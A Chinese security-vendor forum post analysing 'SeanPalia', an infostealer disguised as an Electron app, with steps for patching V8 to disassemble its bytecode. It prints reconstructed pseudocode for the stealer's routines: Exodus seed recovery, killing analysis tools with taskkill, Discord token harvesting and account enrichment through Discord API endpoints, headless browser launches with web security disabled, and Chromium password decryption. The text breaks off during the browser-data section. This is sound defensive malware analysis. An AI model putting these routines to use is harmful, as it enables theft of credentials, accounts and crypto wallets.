本帖最后由 火绒工程师 于 2026-5-8 17:29 编辑
近期,火绒威胁情报中心针对SeanPalia样本的分析发现,这是一款伪装为正常 Electron桌面程序运行的信息窃取木马。样本启动后,会通过main.js加载经过bytenode 编译的decrypted_payload.jsc,并以运行时恢复方式释放主payload。随后,程序会先结束抓包、调试和逆向分析工具,并批量关闭浏览器进程以释放数据库文件锁;之后通过系统性扫描浏览器、Discord、桌面钱包与浏览器钱包扩展等高价值目标,读取Login Data、Web Data、Cookies、History、Bookmarks、Local Storage/leveldb 等本地敏感数据,同时恢复Local State中的Chromium密钥并解密受保护的数据。
进一步分析显示,该样本还会额外下载并装载第二阶段payload2,用于处理Chromium App-Bound等更难直接提取的受保护数据。在完成本地窃取后,样本还会调用Discord API富化账号资料,补充支付方式、礼品码、好友和 guild信息,并收集公网 IP、主机硬件、系统信息以及游戏 / 工具存在性等受害者画像。最终,所有窃取结果会被加密、压缩、归档并上传到多个临时文件平台,同时将下载链接、压缩包密码和受害者摘要回传至攻击者控制端,形成一条完整的信息窃取、画像评估与集中出网链路,最终造成个人隐私泄露、账号被盗、数字钱包资产损失等严重后果。目前,火绒安全产品已实现对该恶意样本的拦截与查杀。
查杀图
技术背景Electron 是一种基于 Chromium 与 Node.js 的跨平台桌面应用框架,凭借开发成本低、生态完善以及可直接调用系统能力等特点,被大量桌面软件采用。但与此同时,Electron 应用通常会携带完整的 Node.js 运行环境,并通过 ASAR、JavaScript、V8 字节码或原生模块加载业务代码,这也使其逐渐成为攻击者投毒和隐藏恶意逻辑的载体。
SeanPalia 正是这类风险的典型样本。该程序表面上伪装为正常 Electron 应用,实际在启动后通过入口脚本加载恶意 V8 字节码载荷,并进一步执行浏览器数据窃取、Discord 信息窃取、加密货币钱包扫描、受保护数据解密、数据打包以及多通道上传等恶意行为。综合其执行链路与业务目标判断,该样本属于 Electron 形态的信息窃取木马。
流程图如下:
一、样本分析1. 初始阶段 初始化时期目的:样本在启动阶段会准备 Electron 与 Node.js 执行环境,并通过入口脚本加载核心 payload,从而让后续恶意模块能够在受害者系统中执行。
Electron 基础结构:Electron 由 Chromium 与 Node.js 组成,开发者可以使 HTML、CSS JavaScript 构建跨平台桌面程序。一个基础 Electron 应用通常包含 package.json、main.js 和页面文件,并由 Electron 可执行文件负责启动 。
Electron 的优势主要包括: ● 兼容性较好:应用绑定指定版本 Chromium,开发者无需额外处理大量浏览器兼容问题。 ● Node.js 能力完整:前端页面或主进程可调用文件系统、进程、网络、系统信息等 Node.js API。 ● 网络访问灵活:可直接使用 Node.js 网络模块 npm 依赖发起请求。 ● 扩展能力强:可通过 npm 模块或原生扩展调用更多系统能力。
Electron 投毒原理:Electron 应用通常会将业务代码打包到 resources 目录下的 ASAR 文件中。攻击者可通过解包 ASAR 后篡改源码或依赖、替换入口脚本、植入加载器,或者利用调试模式注入恶意代码,从而实现命令执行、持久化、数据窃取或后门控制。Electron 程序带有可信数字签名,若投毒过程未改动外层主程序可执行文件,签名状态不受破坏,则极易降低用户安全警惕。
Electron 主程序图:
resources 下的 ASAR 文件图:
解包后得到 main.js、配置文件和被引用模块图:
分析 main.js 后发现,其主要作用并非正常业务逻辑,而是作为 payload 加载器继续引入后续恶意代码: payload是由9Bgr5Cugh6G3UuU1.enc aes解密后得到的V8 Bytecode文件
9Bgr5Cugh6G3UuU1.enc图:
V8 Bytecode jsc文件图:
二、V8 Bytecode 反汇编 / 反编译过程V8 是什么? V8是由Google 开发的高性能 JavaScript 引擎,最初用于 Chrome 浏览器,现在也被 Node.js 使用。 它的主要职责是把 JavaScript 源码执行成机器能理解的指令,让浏览器或服务器快速运 JS 代码: Bytecode 执行:源码可以被编译为 V8 bytecode,别人拿到文件后难以直接看懂或运行。
怎么反编译? 先把 V8 序列化出来的字节码结构、常量池 BytecodeArray 打印出来,再据此做进一步反混淆和语义恢复。对 SeanPalia 这类 Electron/Node 样本,这一步的价值主要有四点: ● 确认样本使用的 V8 版本,保证后续字节码解析口径一致。 ● 直接拿到 SharedFunctionInfo、常量池、对象模板等运行时结构。 ● 绕过 bytenode/JSC 只给缓存字节码、不带原始源码的问题。 ● 可以配合[原创]V8 Bytecode反汇 反编译不完全指南-逆向工程-看雪安全社区|专业技术交流与安全研究论坛配合阅读。(点击文章底部参考链接)。
2.1 总体思路 对这类 .jsc 文件,最稳的做法通常是: 1. 确认 Electron / Node / V8 版本 2. 拉取对应版本的 V8 源码 3. 在 V8 内部打印 SharedFunctionInfo、BytecodeArray、FixedArray 等结构 4. 编译一个最小的字节码加载器,把目标 .jsc 当作 CachedData 喂给 V8 5. 收集反汇编输出,再进入后续脚本化清洗、重命名和业务还原 这一步更准确地说是“反汇编 + 结构化打印”,而不是传统意义上的完整反编译。
2.2 拉取对应版本的 V8 源码 先安装最基本的构建依赖: - apt-get install ninja-build clang pkg-config
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安装 depot_tools: - mkdir ~/v8tools
- cd ~/v8tools
- git clone [url]https://chromium.googlesource.com/chromium/tools/depot_tools.git[/url]
- export PATH=~/v8tools/depot_tools:$PATH
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拉取 V8 源码: - mkdir ~/v8
- cd ~/v8
- fetch v8
- cd v8
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切换到与目标字节码匹配的版本。本文样本分析时使用的是: - git checkout refs/tags/10.4.132.24
- gclient sync -D
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这里版本必须尽量对齐目标 Electron/Node 所携带 V8。版本不匹配时,即使能绕过部分校验,输出结构也很容易错位。
2.3 修改 V8 以打印字节码结构 V8 内部本来就具备 Disassemble()、对象打印和 SharedFunctionInfoPrint() 能力,但默认这些能力主要服务于调试构建和源码调试。为了让它直接消费 .jsc 并吐出结构,我们需要做几处定点修改:
1. 放宽反序列化检查并打印 SharedFunctionInfo 修改 src/snapshot/code-serializer.cc: ● CodeSerializer::Deserialize 成功拿到结果后打印 SharedFunctionInfo ● SerializedCodeData::SanityCheck() 中临时直接返回成功,绕过一部分缓存校验。
插入的核心打印逻辑如下: - std::cout << "\nStart SharedFunctionInfo\n";
- result->SharedFunctionInfoPrint(std::cout);
- std::cout << "\nEnd SharedFunctionInfo\n";
- std::cout << std::flush;
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这里 Start SharedFunctionInfo / End SharedFunctionInfo 最好保持稳定,方便后续脚本按标记切分输出。
2. 打印 BytecodeArray 修改 src/diagnostics/objects-printer.cc,在 SharedFunctionInfo::SharedFunctionInfoPrint(std::ostream& os) 中: ● 注释 PrintSourceCode(os); ● 在合适位置补上 BytecodeArray 打印 核心逻辑如下: - os << "\nStart BytecodeArray\n";
- this->GetActiveBytecodeArray().Disassemble(os);
- os << "\nEnd BytecodeArray\n";
- os << std::flush;
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这样输出里就不只是函数壳,还能直接拿 Ignition 字节码指令流。
3. 打印常量池和对象模板 修改 src/objects/objects.cc,重点是 HeapObject::HeapObjectShortPrint 里几个常见结构分支: ● FIXED_ARRAY_TYPE ● FIXED_DOUBLE_ARRAY_TYPE ● OBJECT_BOILERPLATE_DESCRIPTION_TYPE ● SHARED_FUNCTION_INFO_TYPE
可以给这些分支加上带分隔符的打印,例如: - os << "\nStart FixedArray\n";
- FixedArray::cast(*this).FixedArrayPrint(os);
- os << "\nEnd FixedArray\n";
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以及: - os << "\nStart ObjectBoilerplateDescription\n";
- ObjectBoilerplateDescription::cast(*this).ObjectBoilerplateDescriptionPrint(os);
- os << "\nEnd ObjectBoilerplateDescription\n";
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通过该方式开展后续逆向分析时,就能把常量池、对象字面量模板和函数元数据一起还原出来,而不是只看到一串指令。
4. 避免字符串打印被截断 修改 src/objects/string.cc String::StringShortPrint,把过长字符串的截断逻辑临时关掉。否则很多 URL、混淆字符串表、脚本片段只会显示前半截,后面还需额外回补。
5. 需要时放宽 magic number 校验 如果样本字节码和本地 V8 版本只接近、不完全一致,可以进一步修 src/snapshot/deserializer.cc 中的 magic number 检查。常见做法是临时去掉: - CHECK_EQ(magic_number_, SerializedData::kMagicNumber);
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2.4 最小字节码加载器 改完 V8 后,还需要一个极小的加载器把目标 .jsc 输入到 ScriptCompiler::CachedData。示例: - #include <fstream>
- #include <iostream>
- #include <vector>
- #include "libplatform/libplatform.h"
- #include "v8.h"
- using namespace v8;
- static Isolate* isolate = nullptr;
- static void loadBytecode(uint8_t* bytecodeBuffer, int length) {
- ScriptCompiler::CachedData* cachedData =
- new ScriptCompiler::CachedData(bytecodeBuffer, length);
- ScriptOrigin origin(isolate, String::NewFromUtf8Literal(isolate, "code.jsc"));
- ScriptCompiler::Source source(
- String::NewFromUtf8Literal(isolate, ""dummy""),
- origin,
- cachedData);
- ScriptCompiler::CompileUnboundScript(
- isolate,
- &source,
- ScriptCompiler::kConsumeCodeCache);
- }
- static void readAllBytes(const std::string& path, std::vector<char>& buffer) {
- std::ifstream input(path, std::ios::binary);
- input.seekg(0, input.end);
- size_t length = input.tellg();
- input.seekg(0, input.beg);
- if (length > 0) {
- buffer.resize(length);
- input.read(buffer.data(), length);
- }
- }
- int main(int argc, char* argv[]) {
- V8::SetFlagsFromString("--no-lazy --no-flush-bytecode");
- V8::InitializeICU();
- std::unique_ptr<Platform> platform = platform::NewDefaultPlatform();
- V8::InitializePlatform(platform.get());
- V8::Initialize();
- Isolate::CreateParams createParams;
- createParams.array_buffer_allocator =ArrayBuffer::Allocator::NewDefaultAllocator();
- isolate = Isolate::New(createParams);
- Isolate::Scope isolateScope(isolate);
- HandleScope handleScope(isolate);
- std::vector<char> data;
- readAllBytes(argv[1], data);
- loadBytecode(reinterpret_cast<uint8_t*>(data.data()), static_cast<int>(data.size()));
- }
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这段程序本身不负责“反混淆”,仅负责将.jsc文件安全传入经篡改的V8引擎,并触发前面加进去的结构化打印。
2.5 编译 V8 与加载器 先生成构建目录: - ./tools/dev/v8gen.py x64.release
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然后编辑 out.gn/x64.release/args.gn,常用参数如下: - dcheck_always_on = false
- is_component_build = false
- is_debug = false
- target_cpu = "x64"
- use_custom_libcxx = false
- v8_monolithic = true
- v8_use_external_startup_data = false
- v8_static_library = true
- v8_enable_disassembler = true
- v8_enable_object_print = true
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如果目标 Node/Electron 携带的 V8,必要时还要根据版本处理压缩指针或沙箱相关配置。例如某些环境下需要: - v8_enable_pointer_compression = false
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再编译: - ninja -C out.gn/x64.release v8_monolith
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最后把前面的最小加载器链接到编译产物上,执行方式就是: - ./v8dasm target.jsc > disasm.txt
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2.6 这一阶段的实际产出 完成后,通常可以得到这些材料: ● SharedFunctionInfo ● BytecodeArray ● FixedArray 常量池 ● ObjectBoilerplateDescription ● 长字符串、URL、对象模板、函数引用关系
再通过 v8View 对前面导出的 disasm.txt 做后处理,就能得到对应的 .js 文件。使用方式只需要理解成三步: 1. 先用修改后的 V8 导出 disasm.txt 2. 再把 disasm.txt 交给 v8View 3. v8View 输出可继续分析的 .js 文件
三、decrypted_payload.jscdecrypted_payload.jsc反编译后是一个装载层,它装载 BAVSItA 这一大段混淆的 js 代码业务模块。 从当前分析结果看,decrypted_payload.jsc 本身更像恢复器 / 装载层,它的作用不是直接承载完整恶意业务,而是把真正的主逻辑 body 恢复出来,再通过 new Function("BAVSItA", "deps", body) 动态构造入口函数。这里的 BAVSItA 才是当前分析到的那份大块混淆主文件,也是后续所有浏览器、Discord、钱包、上传和 payload2 逻辑真正挂载的地方。
代码: - // 非可执行伪代码:只用于说 decrypted_payload.jsc 的装载关系
- (function bootstrapRecoveredJsc() {
- const BAVSItA = { /* 当前混淆主文件在运行时对应的配置/上下文对象 */ };
- const deps = { /* fs / path / crypto / dpapi / http / child_process 等依赖 */ };
-
- // jsc 里恢复出来的是一整块 body 文本
- const body = "/* recovered body text */";
-
- // decrypted_payload.jsc 自己不直接展开主业务,
- // 而是只负责把恢复出的 body 交给 new Function 组出入口
- const recoveredEntry = new Function("BAVSItA", "deps", body);
-
- // 真正进入主逻辑的是 BAVSItA,而不是 decrypted_payload.jsc 自己
- return recoveredEntry(BAVSItA, deps);
- })();
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这里需要特别区分两层: ● decrypted_payload.jsc ○ 负责恢复 body ○ 负责调用 new Function("BAVSItA", "deps", body) ○ 负责把依赖注入进去
● BAVSItA ○ 才是当前那份真正承载主业务逻辑的混淆文件 ○ 内部再继续展开反分析、目标发现、浏览器数据采集、钱包采集、Discord 富化、payload2 下载装载、归档上传与 C2 回传。 因此,对 SeanPalia 来说,decrypted_payload.jsc 更准确的定位不是“完整恶意逻辑本体”,而是恶意主逻辑的恢复与装载入口;真正需要持续反混淆和语义分析的核心对象,是传入 new Function(...) BAVSItA 主体。
四、恶意行为详解:BAVSItA 混淆主体前置说明: 反混淆对应文件 导出BAVSItA得到业务混淆文件图:
文件内容图:
后面的业务代码都是反混淆后的再进行修饰的代码,这里以钱包总入口为例:
反混淆过的原始代码: - async function collectBrowserWalletTokenBundle(...e67guKE){
- var xIlSGc={
- Psj1cL(...e67guKE){return collectChromiumLoginDataByTarget(...e67guKE)},
- Mo7Wwi(...e67guKE){return _SHQR5(...e67guKE)},
- eA6n_l6(...e67guKE){return PX8GL2B(...e67guKE)},
- PemkRM(...e67guKE){return collectDiscoveredDiscordTokenFiles(...e67guKE)}
- };
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这个 xIlSGc 可以先理解成一个局部“结构体 / 转发对象”。把浏览器登录数据、桌面钱包、浏览器钱包扩展、token 文件这几类子流程统一挂载后,再传给下游函数处理。
字段对应关系: ● Psj1cL ○ 类型:局部转发方法名 ○ 实际调用:collectChromiumLoginDataByTarget(...) ○ 最终业务名:collectChromiumLoginDataByTarget
● Mo7Wwi ○ 类型:局部转发方法名 ○ 实际调用:_SHQR5(...) ○ 说明:_SHQR5 这一支处理的是桌面钱包目标路径 ○ 最终业务名:collectDesktopWalletArtifacts
● eA6n_l6 ○ 类型:局部转发方法名 ○ 实际调用:PX8GL2B(...) ○ 说明:PX8GL2B 这一支处理的是浏览器钱包扩展目标路径 ○ 最终业务名:collectBrowserExtensionWalletArtifacts
● PemkRM ○ 类型:局部转发方法名 ○ 实际调用:collectDiscoveredDiscordTokenFiles(...) ○ 最终业务名:collectDiscoveredDiscordTokenFiles
前者只是当前局部对象里的槽位名,后者才是真正被调用的下游函数。后面的语义名,则是根据这些下游函数实际处理的目标对象总结出来的。
整条推导链可以按下面这条顺序理解: 1. 先从外层 wrapper 看调用关系
Mo7Wwi -> _SHQR5
eA6n_l6 -> PX8GL2B
2. 再看这两个真实下游函数分别处理什么目标集合
_SHQR5 处理桌面钱包目标路径
PX8GL2B 处理浏览器钱包扩展目标路径
3. 最后按它们实际处理的对象,给出业务语义名
_SHQR5 -> collectDesktopWalletArtifacts
PX8GL2B -> collectBrowserExtensionWalletArtifacts
4. 再把局部转发名替换成可读函数名,得到整理后的版本 - async function collectBrowserWalletTokenBundle(...e67guKE){
- var xIlSGc={
- collectChromiumLoginDataByTarget(...e67guKE){return collectChromiumLoginDataByTarget(...e67guKE)},
- collectDesktopWalletArtifacts(...e67guKE){return collectDesktopWalletArtifacts(...e67guKE)},
- collectBrowserExtensionWalletArtifacts(...e67guKE){return collectBrowserExtensionWalletArtifacts(...e67guKE)},
- collectDiscoveredDiscordTokenFiles(...e67guKE){return collectDiscoveredDiscordTokenFiles(...e67guKE)}
- };
- return _hBIlH(e67guKE, xIlSGc);
- }
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1. 钱包与扩展资产采集 这一部分在代码内部主要做三件事:先枚举硬编码的钱包路径和浏览器扩展路径,再把命中的目录、配置文件和相关资产复制进归档区,最后对少数高价值钱包继续做更深一层的数据恢复。像 Exodus 这类目标,代码不只是判断目录是否存在,还会继续读 seed.seco、passphrase.json 一类文件,并调用助记词/密码恢复逻辑,尽量把“目录存在”提升成“可直接利用的钱包材料”
1.1 钱包总入口 功能解析: 1. 统一协调多类高价值资产来源 2. 不只拿钱包目录,也顺带纳入浏览器凭据 token 文件: 3. 是“钱包与资产归档”主入口
运行结果: ● 形成桌面钱包、浏览器钱包扩展、凭据与 token 文件的统一资产归档
动态参数: ● 入口动态依赖: ○ 浏览器登录数据归档结 ○ 桌面钱包目录 ○ 浏览器钱包扩展目 ○ 已发 token 文件
参数: ● collectChromiumLoginDataByTarget ○ 浏览器登录数据采集入 ● collectDesktopWalletArtifacts ○ 桌面钱包目录采集 ● collectBrowserExtensionWalletArtifacts ○ 浏览器钱包扩展采 ● collectDiscoveredDiscordTokenFiles ○ token 文件补充采集
代码: - /**
- * 组合浏览器登录数据、桌面钱包、浏览器钱包扩展、token 文件四类来源
- */
- // 浏览器凭据与钱包资产会被统一合并进一条高价值资产收集链
- async function collectBrowserWalletTokenBundle(...e67guKE){
- var xIlSGc={
- collectChromiumLoginDataByTarget(...e67guKE){return collectChromiumLoginDataByTarget(...e67guKE)},
- collectDesktopWalletArtifacts(...e67guKE){return collectDesktopWalletArtifacts(...e67guKE)},
- collectBrowserExtensionWalletArtifacts(...e67guKE){return collectBrowserExtensionWalletArtifacts(...e67guKE)},
- collectDiscoveredDiscordTokenFiles(...e67guKE){return collectDiscoveredDiscordTokenFiles(...e67guKE)}
- };
- return _hBIlH(e67guKE, xIlSGc);
- }
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1.2 Exodus 助记词 / 密码恢复 功能解析: 1. 检查 Exodus 是否存在 2. 不只复制目录,还尝试深入恢复 mnemonic和password 3. 恢复成功后再组装成上报内容
运行结果: ● 可能得到 mnemonic ● 可能得到 password ● 也可能无结果返回
读取目标 / 请求目标: - C:\Users\Administrator\AppData\Roaming\exodus\exodus.wallet\seed.secopassphrase.json
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动态参数: ● 关键动态依赖: ○ seco-file ○ bitcoin-seed ○ bip39
参数: ● readPassphraseJson ○ 读取钱包相关配置 ● collectPasswordIfNeeded ○ 必要时收集口 ● decodeMnemonic ○ 尝试恢复助记
代码: - /**
- * 检 Exodus 钱包并尝试恢 mnemonic / password
- */
- async function extractExodusMnemonicAndPassword(deps) {
- try {
- // 读取 Exodus passphrase 配置或相关钱包元信息
- const passphraseInfo = await deps.readPassphraseJson();
-
- // 某些情况下需要先拿到用户口令,才能继续解密内部内
- const password = await deps.collectPasswordIfNeeded();
-
- // 尝试把钱包内部数据还原成助记
- const mnemonic = await deps.decodeMnemonic(passphraseInfo, password);
- if (!mnemonic && !password) return null;
-
- return { mnemonic: mnemonic ?? undefined, password: password ?? undefined };
- } catch {
- return null;
- }
- }
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2. 反分析 / 反调试 这一部分在代码内部会先准备一长串目标进程名,然后循环调用 taskkill /IM "<name>" /F /T 去结束抓包、调试、逆向、监控和部分浏览邮件客户端进程。实现上它不会因为单个结束失败就停下,而是继续处理下一个目标,并在每轮之间插入短延时。这样做一方面是为了降低被分析到的概率,另一方面也是为了释放浏览器数据库、配置文件和会话文件的占用锁。
2.1 结束目标进程 功能解析: 1. 构造一大批目标进程名列表 2. 对每个进程执 taskkill /IM "<name>" /F /T 3. 即使单个结束失败,也不会中断整体流程 4. 每轮之间加入短延时,避免系统调用过密
运行结果: ● 强制关闭浏览器、邮件客户端及部分分析相关程序 ● 释放数据库和配置文件锁
读取目标 / 请求目标: - taskkill /F /T /IM "HTTP Toolkit.exe"
- taskkill /F /T /IM "HTTPDebuggerUI.exe"
- taskkill /F /T /IM "HTTPDebuggerSvc.exe"
- taskkill /F /T /IM "HTTPDebuggerPro.exe"
- taskkill /F /T /IM "HTTP Debugger Pro.exe"
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动态参数: ● 关键命令 ○ taskkill /IM "<processName>" /F /T ● 关键运行条件 ○ processName ○ throttleMs
参数: ● processNames ○ 一大批目标进程名数组 ● execCommand ○ 实际执行 taskkill 的命令调用函数 ● delay ○ 每次结束进程后的节流等待函数 ● throttleMs ○ 节流等待时间
代码: - /**
- * 对一大批目标进程执行 taskkill /F /T
- */
- async function terminateTargetProcesses(deps) {
- for (const processName of deps.processNames) {
- try {
- // 对每个目标进程执行强制结
- await deps.execCommand(`taskkill /IM "${processName}" /F /T`);
- } catch {
- // 单个失败不影响整体清
- }
-
- // 每轮之后稍作等待,避免系统调用过于密
- await deps.delay(deps.throttleMs);
- }
- }
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3. 目标发现与 Discord 数据窃取 这一部分在代码内部先做目标枚举,再做 token 提取,最后做账号富化。它会按硬编码路径检 Discord 安装目录、浏览器 profile、Local State Local Storage\\leveldb,把存在的目标组织成后续采集列表;随后在 .ldb/.log 文本里匹配普通的 Discord 用户认证 token dQw4w9WgXcQ 前缀密文 token,并在需要时结合 Local State 恢复出的密钥做解密。拿 token 后,代码还会继续调 Discord API 拉用户资料、支付方式、礼品码、好友和 guild 信息,把原始 token 变成更有价值的账号画像。
3.1 发现 token 功能解析: 1. 遍历 Discord / 浏览器本地存 LevelDB 2. 正则匹配经典 token、MFA token、宽匹配 token 3. 若命中新格式密文 token,再结合 Local State key 解密 4. 去重后汇总为 token 集
运行结果: ● 产出后续所 Discord API 利用所需 token
读取目标 / 请求目标: - <Discord or Browser>\Local Storage\leveldb\*.ldb
- <Discord or Browser>\Local Storage\leveldb\*.log
- <Discord>\Local State
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动态参数: ● 已确 Discord 客户端路径: ○ C:\Users\Administrator\AppData\Roaming\discord ○ C:\Users\Administrator\AppData\Roaming\discordcanary ○ C:\Users\Administrator\AppData\Roaming\discordptb ○ C:\Users\Administrator\AppData\Roaming\discorddevelopment
● 关键动态参数: ○ 普 token regex ○ dQw4w9WgXcQ 前缀密文 token ○ Local State 中恢复出的解 key
参数: ● targets ○ LevelDB 路径和可 Local State 路径
● listLevelDbFiles ○ 枚举 .ldb/.log
● readText ○ 读文件文本
● regexFindAll ○ 匹配 token 模式
● readLocalStateMasterKey ○ 读取解密 key
● decryptDiscordToken ○ 解新格式 token
代码: - [indent]/*扫描 .ldb / .log,匹配普 token;如果是 Discord 安装根,还尝试解密新格式 token */ [/indent][indent] async function discoverDiscordTokensAcrossTargets(targets: Array<{[/indent][indent]levelDbPath: string; localStatePath?: string }>, deps) { [/indent][indent] const discoveredTokens = new Set<string>(); [/indent][indent] // 真实实现会遍历每 LevelDB 文件,分别匹配普 token 和加 token [/indent][indent] // 如果目标 Discord 客户端目录,还会读取 Local State dQw4w9WgXcQ 前缀 token 解密 [/indent][indent] return [...discoveredTokens]; [/indent][indent] }[/indent]
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3.2 账号富化 功能解析: 1. token users/@me 确认账号可用 2. 并发补全支付 FA、礼品码、好友、guild 管理权限等信息 3. 把“一 token”升级成“一个高价值账号画像”
运行结果: ● 产出可直接用于筛选高价 Discord 账户的情报
读取目标 / 请求目标: - GET [url]https://discord.com/api/v9/users/@me[/url]
- GET [url]https://discord.com/api/v9/users/@me/billing/payment-sources[/url]
- GET [url]https://discord.com/api/v9/users/@me/outbound-promotions/codes[/url]
- GET [url]https://discord.com/api/v9/users/@me/relationships[/url]
- GET [url]https://discord.com/api/v9/users/@me/guilds?with_counts=true[/url]
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动态参数: ● 入口动态参数: ○ 已发现的 Discord token 列表
● 关键请求头: ○ Authorization: <stolen token>
参数: ● tokens ○ 已发现的 Discord token 列表
● fetchCurrentUser ○ 拉用户基本资料
● fetchBillingSummary ○ 拉支付信息
● fetchMfaStatus ○ 2FA 状态
● fetchGiftCodes ○ 拉促销/礼品码
● collectDiscordFriends ○ 拉好友列表
● fetchDiscordHighValueGuilds ○ 拉高价 guild
代码: - /**
- * token users/@me,再并发 billing FA、礼品码、好友和高价 guild
- */
- async function enrichDiscordUserProfile(tokens: string[], deps) {
- const profiles: any[] = [];
-
- for (const token of tokens) {
- // 先用 users/@me 校验 token 是否有效,并拿到基础账号资料
- const currentUser = await deps.fetchCurrentUser(token);
- if (!currentUser) continue;
-
- // 真实实现还会并发拉支付方式 FA、礼品码、好友和高价 guild
- profiles.push(currentUser);
- }
-
- return profiles;
- }
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4. 无头浏览器辅助执行链 这一部分在代码内部会先解码内置的浏览器可执行文件路径表,确认 Chrome、Brave、Edge、ChromeBeta 等目标是否存在,然后拼出一组很长的 headless 启动参数去实际拉起浏览器。参数里会主动关闭扩展、同步、站点隔离、后台联网、Web 安全等能力,因此这条链的目的不是正常自动化测试,而是尽量在一个受控、低安全限制的浏览器环境里执行后续辅助动作。
4.1 Chrome / Edge 头模式启动链 功能解析: 1. 从内置浏览器可执行文件映射表里解 Chrome / Edge 等目标路径 2. 检查目标浏览器是否存在 3. 组装一组带大量安全禁用参数 headless 启动命令 4. 将这些任务交给后 helper 实际拉起
运行结果: ● 形成 Chrome / Edge 的头模式浏览器启动任务 ● 可能用于后续会话注入、页面访问或 session 窃取辅助
读取目标 / 请求目标: - chrome.exe --headless=new --no-sandbox --disable-setuid-sandbox --disable-gpu
- --disable-software-rasterizer --disable-webgl --disable-web-security
- --disable-client-side-phishing-detection --disable-domain-reliability
- --disable-site-isolation-trials --disable-sync --disable-translate
- --disable-notifications --disable-permissions-api --disable-extensions
- --disable-default-apps --disable-component-update
- --disable-background-timer-throttling --disable-renderer-backgrounding
- --disk-cache-size=1 --media-cache-size=1 --no-first-run
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动态参数: ● 调用链: ○ qT2G09 ○ tVcLge ○ launchOrSpawnDecodedBrowserExecutable ○ S1roXJN
● 浏览器路径来源: ○ browserExecutableMapBase64
● 关键运行条件 ○ 可执行文件存在性检 ○ 浏览器路 Base64 解码
● 关键启动标志 ○ --headless=new ○ --disable-web-security ○ --disable-extensions ○ --no-sandbox
参数: ● browserTarget ○ 浏览器目标描述对象
● decodeBrowserExecutableMapEntries ○ 解码内置浏览器路径映射表格
● pathExists ○ 检查浏览器可执行文件是否存在
● spawnBrowserTask ○ 实际拉起浏览器任务
代码: - /**
- * 解码浏览器路径映射,检查可执行文件是否存在,并构 headless 启动任务
- */
- async function launchOrSpawnDecodedBrowserExecutable(browserTarget: { browserName: string; executableKey: string }, deps) {
- // 从内 Base64 映射表恢复出浏览器可执行文件路径
- const executableMap = deps.decodeBrowserExecutableMapEntries(deps.browserExecutableMapBase64);
- const executablePath = executableMap[browserTarget.executableKey];
- if (!executablePath) return [];
-
- // 目标浏览器不存在就直接结
- if (!(await deps.pathExists(executablePath))) return [];
-
- // 组装头模式浏览器启动参数,重点是关闭一大批安全与隔离功
- const args = [
- "--headless=new",
- "--no-sandbox",
- "--disable-setuid-sandbox",
- "--disable-gpu",
- "--disable-software-rasterizer",
- "--disable-webgl",
- "--disable-web-security",
- "--disable-client-side-phishing-detection",
- "--disable-domain-reliability",
- "--disable-site-isolation-trials",
- "--disable-sync",
- "--disable-translate",
- "--disable-notifications",
- "--disable-permissions-api",
- "--disable-extensions",
- "--disable-default-apps",
- "--disable-component-update",
- "--disable-background-timer-throttling",
- "--disable-renderer-backgrounding",
- "--disk-cache-size=1",
- "--media-cache-size=1",
- "--no-first-run",
- ];
-
- // 真实链路会把任务继续交给更低 helper 或直 spawn
- return [await deps.spawnBrowserTask(executablePath, args)];
- }
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4.2 动态命中与主线作用 功能解析: 1. 运行时会先从 browserExecutableMapBase64 中恢复出少数硬编码浏览器可执行文件路径 2. 这条链当前不是“所有被扫描浏览器都启动 headless”,而是优先尝试 Chrome / Brave / Edge / ChromeBeta 这一小组可执行文件 3. 动态证据已经证明它实际命中 Edge,通过附加大量安全削弱参数拉起进程 4. 因此这条链更像浏览器侧辅助执行器,用来借本地浏览器环境完成后续页面访问、会话复用或注入型操作,而不是普通本地数据库读取逻辑
运行结果: ● 已确认主程序当前运行中能真实拉起 msedge.exe ● 说明这条 headless 链不是纯静态死代码
读取目标 / 请求目标: - browserExecutableMapBase64:
- - Chrome
- - Brave
- - Edge
- - ChromeBeta
-
- 动态命中:
- C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
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动态参数: ● Stage14 主文件内置浏览器路径表: ○ Chrome ○ Brave ○ Edge ○ ChromeBeta
● 动态存在性检查命中: ○ C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
● 动态事件: ○ FS_EXISTS ○ SPAWN
● 已捕获启动参数除核心标志外,还包含: ○ --disable-webgl2 ○ --disable-accelerated-2d-canvas ○ --disable-accelerated-video-decode ○ --mute-audio ○ --hide-scrollbars ○ --disable-background-networking
参数: ● browserExecutableMapBase64 ○ 内置 Base64 编码浏览器路径字典
● decodedExecutablePath ○ 解码后的浏览器可执行文件路径
● spawnArgs ○ 一组带 headless 与降安全语义的启动参数
● spawn ○ 实际执行浏览器启动
代码: - /**
- * 动态日志已经证明这条链实际命中 Edge
- * 它的意义不是直接读本地数据库,而是借浏览器本体执行浏览器侧辅助动作
- */
- async function runHeadlessBrowserAssistChain(deps) {
- const executableMap = deps.decodeBrowserExecutableMapEntries(deps.browserExecutableMapBase64);
- const edgePath = executableMap.Edge;
- if (!edgePath) return false;
-
- if (!(await deps.pathExists(edgePath))) return false;
-
- await deps.spawn(edgePath, [
- "--headless=new",
- "--no-sandbox",
- "--disable-web-security",
- "--disable-extensions",
- "--disable-background-networking",
- "--disable-site-isolation-trials",
- ]);
-
- return true;
- }
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5. 浏览器数据采集主线 这一部分在代码内部会围绕各类 Chromium / Gecko profile 逐个检查关键文件是否存在,然后分别打开 SQLite 数据库或 JSON 文件,把不同类型的数据拆开导出。对 Login Data,它会查 logins 表并解密 password_value;对 Web Data,它会取 autofill、credit_cards、local_stored_cvc;对 Cookies,它会读 encrypted_value 并按浏览器版本处理; History Bookmarks,它会提取下载记录、访问痕迹和书签树。最终这些内容会被分类写入归档目录,形成浏览器侧的主体战果。
5.1 Chromium 登录数据 功能解析: 1. 定位每个 Chromium profile 下的 Login Data 2. 查询 origin_url / username_value / password_value 3. 使用 Local State 恢复 key 解密保存密码 4. 按浏览器维度写入 Passwords/*.txt
运行结果: ● 产生浏览器保存账号密码的明文导出
读取目标 / 请求目标: - <Browser>\User Data\<Profile>\Login Data
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动态参数: ● 目标数据库路径模式: ○ <Browser>\User Data\<Profile>\Login Data
● 已确认命中路径: ○ C:\Users\Administrator\AppData\Local\Google\Chrome\User Data\Default\Login Data ○ C:\Users\Administrator\AppData\Local\Microsoft\Edge\User Data\Default\Login Data
● 关键动态依赖: ○ SQLite logins 表 ○ Local State 恢复出的 masterKey
参数: ● targets ○ 每个浏览器/配置文件对应一项 ○ 含浏览器名、Login Data 路径、已恢复 masterKey ● queryLoginRows ○ 读取 SQLite logins表 ● decryptChromiumSecret ○ 解密 password_value ● appendArtifact ○ 把明文结果写进归档
